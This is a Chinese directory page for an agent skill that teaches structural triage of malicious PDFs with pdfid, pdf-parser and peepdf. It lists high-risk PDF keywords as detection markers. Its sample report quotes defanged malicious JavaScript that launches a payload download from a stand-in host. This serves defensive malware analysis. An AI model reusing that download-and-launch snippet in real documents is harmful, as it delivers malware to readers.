Token导航 LogoToken导航

Agent Skill · 研究检索

analyzing-pdf-malware-with-pdfid(analyzing PDF malware with pdfid 搜索)

analyzing-pdf-malware-with-pdfid 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

analyzing-pdf-malware-with-pdfid 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为执行命令;许可证信息还不明确,第三方扫描有提醒项,按安装量在研究检索类的 73,675 个 Skill 里排第 45,481。

总安装 847周安装 36GitHub Stars 5,931下载 297核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:analyzing-pdf-malware-with-pdfid(analyzing PDF malware with pdfid 搜索)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/analyzing-pdf-malware-with-pdfid
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

快速筛查 PDF 文档是否包含 JavaScript、shellcode 或恶意 URL。适用于邮件附件预检与 Exploit Kit 载荷识别任务。不解析视觉内容,仅关注 PDF 内部对象结构特征。推荐在隔离环境中运行,避免直接打开高危文件。结合其他工具如 pdf-parser 可进一步提升检出精度。

来源仓库内路径:skills/analyzing-pdf-malware-with-pdfid

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要执行命令,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

analyzing-pdf-malware-with-pdfid 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzin…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

analyzing-pdf-malware-with-pdfid 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

analyzing-pdf-malware-with-pdfid 需要什么权限?

权限级别是执行命令。安装流程涉及命令执行,可能通过 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

analyzing-pdf-malware-with-pdfid 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

analyzing-pdf-malware-with-pdfid 用的人多吗?

公开数据是累计安装 847 次,近一周安装 36 次,下载 297 次,GitHub 5,931 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

analyzing-pdf-malware-with-pdfid 安全吗?

第三方扫描有提醒项,说明存在需要人工确认的行为。安装前请打开源码看清它读了什么、联网到哪里。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,931 星,维护活跃度相对可查。

先想清楚的地方

  • 需要执行命令,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 不能接受 Skill 在你机器上执行命令的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
analyzing-pdf-malware-with-pdfid

analyzing PDF malware with pdfid 搜索 · 本页

8475,931执行命令未明确有提醒

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Analyzing PDF Malware with PDFiD

When to Use

  • A suspicious PDF attachment has been flagged by email security or reported by a user
  • You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
  • Triaging PDF documents before opening them in a sandbox or analysis environment
  • Extracting embedded executables, scripts, or URLs from malicious PDF objects
  • Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities

Do not use for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.

Prerequisites

  • Python 3.8+ with Didier Stevens' PDF tools installed (pip install pdfid pdf-parser)
  • peepdf installed for interactive PDF analysis (pip install peepdf)
  • pdftotext from poppler-utils for extracting text content safely
  • YARA with PDF-specific rules for malware family identification
  • Isolated analysis VM without a PDF reader installed (prevent accidental opening)
  • CyberChef for decoding embedded Base64, hex, or deflate streams

Workflow

Step 1: Initial Triage with PDFiD

Scan the PDF for suspicious keywords and structures:

# Run PDFiD to identify suspicious elements
pdfid suspect.pdf

# Expected output analysis:
# /JS           - JavaScript (HIGH risk)
# /JavaScript   - JavaScript object (HIGH risk)
# /AA           - Auto-Action triggered on open (HIGH risk)
# /OpenAction   - Action on document open (HIGH risk)
# /Launch       - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia    - Flash content (MEDIUM risk)
# /ObjStm       - Object stream (used for obfuscation)
# /URI          - URL reference (contextual risk)
# /AcroForm     - Interactive form (MEDIUM risk)

# Run with extra detail
pdfid -e suspect.pdf

# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
  /JS, /JavaScript  -> Embedded JavaScript code
  /AA               -> Automatic Action (triggers without user interaction)
  /OpenAction       -> Code runs when document is opened
  /Launch           -> Can launch external executables
  /JBIG2Decode      -> Associated with CVE-2009-0658 exploit

MEDIUM RISK indicators:
  /EmbeddedFile     -> Contains embedded files (could be EXE/DLL)
  /RichMedia        -> Flash/multimedia (Flash exploits)
  /AcroForm         -> Form with possible submit action
  /XFA              -> XML Forms Architecture (complex attack surface)

LOW RISK indicators:
  /ObjStm           -> Object streams (obfuscation technique)
  /URI              -> External URL references
  /Page             -> Number of pages (context only)

Step 2: Parse PDF Structure with pdf-parser

Examine suspicious objects identified by PDFiD:

# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf

# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf

# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf

# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf

# List all objects with their types
pdf-parser --stats suspect.pdf

Step 3: Extract and Analyze Embedded JavaScript

Pull out JavaScript code from PDF objects:

# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# peepdf interactive commands for JS analysis:
# js_analyse          - Extract and show all JavaScript code
# js_beautify         - Format extracted JavaScript
# js_eval <object>    - Evaluate JavaScript in sandboxed environment
# object <id>         - Display object content
# rawobject <id>      - Display raw object bytes
# stream <id>         - Display decompressed stream
# offsets             - Show object offsets in file
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re

# Extract all streams and search for JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# Extract each JavaScript-containing object
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== Object {obj_id} ===")
    print(result.stdout[:2000])

Step 4: Analyze Embedded Shellcode

Extract and examine shellcode from PDF exploits:

# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin

# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86

Step 5: Extract Embedded Files and URLs

Pull out embedded executables and linked resources:

# Extract embedded files from PDF
import subprocess
import hashlib

# Find embedded file objects
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
    data = f.read()

# Search for embedded PE files
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # Verify PE signature
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"Embedded PE found at offset 0x{pos:X}")
            # Extract (estimate size or use PE header)
            embedded = data[pos:pos+100000]  # Initial extraction
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1

# Extract URLs from PDF
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")

Step 6: Generate Analysis Report

Document all findings from the PDF analysis:

Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families

Key Concepts

TermDefinition
PDF ObjectBasic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects
OpenActionPDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits
PDF StreamCompressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed
FlateDecodeZlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents
ObjStm (Object Stream)PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers
JBIG2Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY)
PDF JavaScript APIAdobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction

Tools & Systems

  • PDFiD: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
  • pdf-parser: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
  • peepdf: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
  • QPDF: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
  • scdbg: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls

Common Scenarios

Scenario: Triaging a Phishing PDF with Embedded JavaScript

Context: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.

Approach:

  1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
  2. Use pdf-parser to extract the OpenAction object and follow its reference chain
  3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
  4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
  5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
  6. Extract all URLs, IPs, and embedded files as IOCs
  7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)

Pitfalls:

  • Opening the PDF in a standard reader instead of analyzing it with command-line tools
  • Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
  • Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
  • Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)

Output Format

PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7

PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]

SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18

EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit

EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com

CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper

平台分布

Codex

33.22%
按下载量换算99

Claude

28%
按下载量换算83

Cursor

20.24%
按下载量换算60

Gemini CLI

9.94%
按下载量换算30

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

可疑

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfid 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills